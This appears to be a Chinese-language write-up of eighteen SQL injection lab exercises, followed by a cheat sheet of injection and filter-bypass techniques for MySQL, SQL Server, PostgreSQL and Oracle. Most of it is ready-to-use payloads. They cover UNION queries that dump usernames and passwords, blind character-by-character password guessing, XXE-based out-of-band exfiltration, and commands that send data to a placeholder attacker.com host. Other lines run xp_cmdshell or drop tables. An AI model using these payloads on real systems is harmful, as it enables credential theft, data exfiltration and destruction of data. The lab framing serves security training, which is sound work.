SQL injection
题目1:SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
题目链接:点击进入
解题思路:
利用 OR 1=1
构造永真条件,绕过原有过滤,显示所有数据。
参考注入语句:
1 | filter?category=Lifestyle'+OR+1=1-- |
结果分析:
1 | SELECT * FROM products WHERE category = 'Gifts' OR 1=1 --AND released = 1 |
1=1 永真,OR 条件成立,查询成功。
题目2:SQL injection vulnerability allowing login bypass
题目链接:点击进入
解题思路:
利用 AND 1=1
或注释符 #
绕过密码验证。
参考注入语句:
1 | administrator' AND 1=1# |
结果分析:
1 | SELECT * FROM users WHERE username = 'administrator' AND 1=1# |
1=1 永真则 AND 执行成功。
题目3:SQL injection attack, querying the database type and version on Oracle
题目链接:点击进入
解题思路:
通过 UNION 注入查询不同数据库的版本信息。
数据库 | 查询语句 |
---|---|
Oracle | SELECT banner FROM v$version 或 SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
可以快速使用 ' ORDER BY 1--
确认有多少列,Oracle 需 FROM dual
。
参考注入语句:
1 | ' ORDER BY 1-- |
题目4:SQL injection attack, querying the database type and version on MySQL and Microsoft
题目链接:点击进入
解题思路:
利用 ORDER BY
和 UNION SELECT
判断列数并查询版本。
参考注入语句:
1 | ' ORDER BY 1-- |
结果分析:
根据报错和回显判断列数,最终获取数据库版本。
题目5:SQL injection attack, listing the database contents on non-Oracle databases
题目链接:点击进入
解题思路:
利用 information_schema 枚举表和列,获取敏感数据。
知识点补充:
information_schema.tables
用于列出当前数据库系统中所有表的信息。- 常用字段:
table_schema
、table_name
、table_type
、engine
(MySQL)、create_time
(MySQL)等。 - 注意:在某些数据库中,
#
并不是标准注释符,尤其是 SQL Server 中,推荐使用--
。
参考注入语句:
1 | ' UNION SELECT table_name,NULL FROM information_schema.tables-- |
结果分析:
成功枚举表、列并获取用户数据。
题目6:SQL injection attack, listing the database contents on Oracle
题目链接:点击进入
解题思路:
Oracle 要求所有 SELECT
语句必须有 FROM
子句。dual
是一个内建的单行虚拟表。
参考注入语句:
1 | ' UNION SELECT '1','2' FROM dual-- |
结果分析:
成功枚举表、列并获取用户数据。
题目7:SQL injection UNION attack, determining the number of columns returned by the query
题目链接:点击进入
解题思路:
逐步增加 NULL 数量,直到不报错。
参考注入语句:
1 | ' UNION SELECT NULL,NULL,NULL-- |
结果分析:
确定 UNION 可用的列数。
题目8:SQL injection UNION attack, finding a column containing text
题目链接:点击进入
解题思路:
在每一列插入文本,观察哪一列能正常显示。
参考注入语句:
1 | ' UNION SELECT NULL,'EuHnXl',NULL-- |
结果分析:
找到可显示文本的列。
题目9:SQL injection UNION attack, retrieving data from other tables
题目链接:点击进入
解题思路:
确定列数和可显示列后,直接查询敏感表。
参考注入语句:
1 | ' UNION SELECT username, password FROM users-- |
结果分析:
成功获取用户表数据。
题目10:SQL injection UNION attack, retrieving multiple values in a single column
题目链接:点击进入
解题思路:
用 ||
或 CONCAT()
将多列合并到一列。
参考注入语句:
1 | ' UNION SELECT NULL,username||'~'||password FROM users-- |
结果分析:
用户名和密码合并显示。
题目11:Blind SQL injection with conditional responses
题目链接:点击进入
解题思路:
通过页面响应内容判断条件真假,逐步猜解数据。
参考注入语句:
1 | ' AND 1=1-- |
盲注攻击中用法(逐字符猜解):
结合布尔比较:
1 | 'AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator'='a'-- |
用于判断密码首字符是否为 'a'
。如果返回 true,就继续猜第 2 位:
1 | 'AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator'='b'-- |
以此类推,直到把整段密码(或任何字段值)猜出来。
最后使用 intruder 模块直接爆破。
结果分析:
最终得到密码 password=htyvopt0wfqluh7zsqo6
题目12:Blind SQL injection with conditional errors
题目链接:点击进入
解题思路:
利用条件错误(如除零)判断真假。
参考注入语句:
1 | ' AND (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a'-- |
结果分析:
通过页面报错与否判断条件真假,逐步猜解数据。
最终得到密码 password=(下图懒得写了)
题目13:Visible error-based SQL injection
题目链接:点击进入
解题思路:
强制类型转换等方式让数据库报错并泄露数据。
参考注入语句:
1 | ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- |
结果分析:
错误信息中包含敏感数据。
题目14:Blind SQL injection with time delays
题目链接:点击进入
解题思路:
利用数据库延迟函数,通过响应时间判断条件真假。
参考注入语句:
1 | '||pg_sleep(3)-- |
结果分析:
页面延迟即为条件为真。
题目15:Blind SQL injection with time delays and information retrieval
题目链接:点击进入
解题思路:
结合条件判断和延迟函数,逐字符猜解数据。
参考注入语句:
1 | '%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users-- |
结果分析:
条件为真页面延迟。
密码如下图:
题目16:Blind SQL injection with out-of-band interaction
题目链接:点击进入
解题思路:
利用数据库的外部请求能力(如 DNS/HTTP)带外获取数据。
参考注入语句:
1 | '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml version="1.0" encoding="UTF-8"%3f><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://你的Collaborator地址/"> %remote;]>'),'/l')+FROM+dual-- |
结果分析:
敏感数据通过 DNS 等方式外带。
题目17:Blind SQL injection with out-of-band data exfiltration
题目链接:点击进入
解题思路:
将敏感数据嵌入到带外请求中发送。
参考注入语句:
1 | '+UNION+SELECT+EXTRACTVALUE(xmltype('<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'(SELECT password FROM users WHERE username='administrator')'.你的Collaborator地址/"> %remote;]>'),'/l')+FROM+dual-- |
结果分析:
敏感数据通过 DNS 等方式外带。
题目18:SQL injection with filter bypass via XML encoding
题目链接:点击进入
解题思路:
利用 XML 实体编码等方式绕过 Web 层过滤。
参考注入语句:
1 |
|
结果分析:
注入语句被成功解析,绕过了过滤。
各类数据库注入方式与常见技巧总结
MySQL
- 版本信息:
SELECT @@version
,SELECT version()
- 系统库:
information_schema
(表、列、库等元数据) - 查表:
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
- 查列:
SELECT column_name FROM information_schema.columns WHERE table_name='users'
- 字符串连接:
CONCAT()
、CONCAT_WS()
、||
(部分版本) - 注释符:
--
(注意空格)、#
、/* ... */
- 延迟函数:
SLEEP(n)
、BENCHMARK()
- 报错注入:
AND updatexml(1,concat(0x7e,(SELECT user())),0)
、AND extractvalue(1,concat(0x7e,(SELECT database())))
- 盲注技巧:布尔型、时间型、基于报错、基于堆叠语句(如
1;SELECT ...
,需开启多语句) - 带外注入:
LOAD_FILE()
、INTO OUTFILE
、DNS外带(如select load_file('\\attacker.com\a')
) - 常见绕过技巧:宽字节注入、双写、关键字分割、大小写混淆、内联注释、编码、空格替换、函数嵌套、十六进制/Unicode编码
Microsoft SQL Server
- 版本信息:
SELECT @@version
、SELECT SERVERPROPERTY('ProductVersion')
- 系统库:
master
、msdb
、tempdb
、model
、information_schema
、sysobjects
、syscolumns
- 查表:
SELECT name FROM sysobjects WHERE xtype='U'
、SELECT table_name FROM information_schema.tables
- 查列:
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
、SELECT column_name FROM information_schema.columns WHERE table_name='users'
- 字符串连接:
+
- 注释符:
--
、/* ... */
- 延迟函数:
WAITFOR DELAY '0:0:5'
、WAITFOR TIME '23:59:59'
- 报错注入:
AND 1=CONVERT(int,(SELECT @@version))
、AND 1=CAST((SELECT name FROM master..sysdatabases) AS int)
- 盲注技巧:布尔型、时间型、基于报错、堆叠注入(如
1; EXEC xp_cmdshell 'whoami'
,需权限) - 带外注入:
xp_cmdshell
、xp_dirtree
、UNC路径(如\attacker.com\a
) - 常见绕过技巧:关键字截断、十六进制/Unicode编码、堆叠注入、空格替换、注释符变形、函数嵌套
PostgreSQL
- 版本信息:
SELECT version()
- 系统库:
information_schema
、pg_catalog
(如pg_tables
、pg_class
、pg_user
) - 查表:
SELECT tablename FROM pg_tables WHERE schemaname='public'
、SELECT table_name FROM information_schema.tables
- 查列:
SELECT column_name FROM information_schema.columns WHERE table_name='users'
- 字符串连接:
||
- 注释符:
--
、/* ... */
- 延迟函数:
pg_sleep(n)
- 报错注入:
AND cast((SELECT version()) AS int)
(会报错并泄露信息) - 盲注技巧:布尔型、时间型、基于报错、堆叠注入(如
1;SELECT ...
) - 带外注入:
COPY ... TO PROGRAM
、DNS外带(如COPY (SELECT ...) TO PROGRAM 'curl http://attacker.com/$(...)'
) - 常见绕过技巧:多语句注入、函数嵌套、编码、空格替换、关键字变形
Oracle
- 版本信息:
SELECT banner FROM v$version
、SELECT version FROM v$instance
- 系统库/视图:
all_tables
、all_tab_columns
、user_tables
、dba_users
(需权限) - 查表:
SELECT table_name FROM all_tables
、SELECT table_name FROM user_tables
- 查列:
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
- 字符串连接:
||
- 注释符:
--
、/* ... */
- 延迟函数:
DBMS_LOCK.SLEEP(n)
- 报错注入:
AND 1=(SELECT 1 FROM dual WHERE 1=UTL_INADDR.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)))
、AND 1=to_number((SELECT user FROM dual))
- 盲注技巧:布尔型、时间型、基于报错、堆叠注入(部分环境支持)
- 带外注入:
UTL_HTTP.REQUEST
、UTL_INADDR.GET_HOST_ADDRESS
、XMLType外带、DNS/HTTP外带 - 常见绕过技巧:注释符变形、函数嵌套、关键字大小写、特殊符号分割、空格替换、内联注释
通用注入技巧与绕过方法
- 宽字节注入:利用GBK等多字节编码,绕过过滤(如
%df'
) - 双写绕过:如
UNION SELECT
、OR 1=1
(双空格) - 关键字分割:如
UN/**/ION
、SE/**/LECT
、UNION/*!select*/
- 空格替换:用Tab、换行、注释、括号、逗号等替换空格
- 内联注释:如
/*!select*/
、/*!50000union*/
- 大小写混淆:如
UnIoN SeLeCt
- 编码绕过:URL编码、Unicode编码、十六进制编码
- 函数嵌套:如
updatexml()
、extractvalue()
、char()
、concat_ws()
- 堆叠注入:如
1;SELECT ...
(部分数据库支持) - 多语句注入:如
1';DROP TABLE users;--
- 特殊符号绕过:如用
%0a
、%09
、%0b
等控制字符 - 注释符变形:如
--+
、--%0a
、#
、/*...*/
- 利用视图/存储过程/函数:如
sys_exec()
、xp_cmdshell
、dbms_pipe.receive_message()
等
注:实际注入时应根据目标数据库类型、过滤规则、回显情况灵活组合上述技巧。